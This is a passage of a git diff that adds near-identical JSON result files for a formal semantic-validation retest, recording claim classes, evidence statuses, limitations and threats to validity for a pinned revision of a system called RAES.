4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-341-execution-v21", + "generated_at": "2026-09-16T02:16:08.146564+00:00", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim." + ], + "plain_language_outcome": "The pinned RAES revision replays every retained v1 control and demonstrates the bounded finite-domain satisfiability and typed exploit-path claims with complete production evidence. Semantic, workflow, and compile-stability claims remain partial, and counterfactual necessity remains untested.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v22.json b/docs/research/formal-semantic-validation/analysis-v22.json new file mode 100644 index 000000000..250976aa8 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v22.json @@ -0,0 +1,144 @@ +{ + "analysis_id": "issue-1242-analysis-v22", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v22.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1242-execution-v22", + "generated_at": "2026-09-16T06:27:11.854917+00:00", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim." + ], + "plain_language_outcome": "Replay on the augmentation-scope implementation retains the registered outcomes and claim limits. Compiled representation digest deviations are recorded; this corpus does not establish native backend scope enforcement.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v23.json b/docs/research/formal-semantic-validation/analysis-v23.json new file mode 100644 index 000000000..71fb4e742 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v23.json @@ -0,0 +1,144 @@ +{ + "analysis_id": "issue-1242-analysis-v23", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v23.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1242-execution-v23", + "generated_at": "2026-09-16T07:35:25.788264+00:00", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim." + ], + "plain_language_outcome": "Replay after maintainability refactoring retains registered outcomes, compiled digests, and claim limits. This corpus does not establish native backend scope enforcement.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v24.json b/docs/research/formal-semantic-validation/analysis-v24.json new file mode 100644 index 000000000..6f8824268 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v24.json @@ -0,0 +1,144 @@ +{ + "analysis_id": "issue-1242-analysis-v24", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v24.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1242-execution-v24", + "generated_at": "2026-09-16T08:11:56.640293+00:00", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim." + ], + "plain_language_outcome": "Replay after composition type refinement retains registered outcomes, compiled digests, and claim limits. This corpus does not establish native backend scope enforcement.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v25.json b/docs/research/formal-semantic-validation/analysis-v25.json new file mode 100644 index 000000000..2625e7f09 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v25.json @@ -0,0 +1,144 @@ +{ + "analysis_id": "issue-214-analysis-v25", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v25.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-214-execution-v25", + "generated_at": "2026-09-16", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim." + ], + "plain_language_outcome": "Replay after composition type refinement retains registered outcomes, compiled digests, and claim limits. This corpus does not establish native backend scope enforcement.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v26.json b/docs/research/formal-semantic-validation/analysis-v26.json new file mode 100644 index 000000000..9fd0245bc --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v26.json @@ -0,0 +1,144 @@ +{ + "analysis_id": "issue-1005-analysis-v26", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v26.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1005-execution-v26", + "generated_at": "2026-09-16", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim." + ], + "plain_language_outcome": "Replay after composition type refinement retains registered outcomes, compiled digests, and claim limits. This corpus does not establish native backend scope enforcement.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v27.json b/docs/research/formal-semantic-validation/analysis-v27.json new file mode 100644 index 000000000..892883732 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v27.json @@ -0,0 +1,145 @@ +{ + "analysis_id": "issue-1299-analysis-v27", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v25.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant 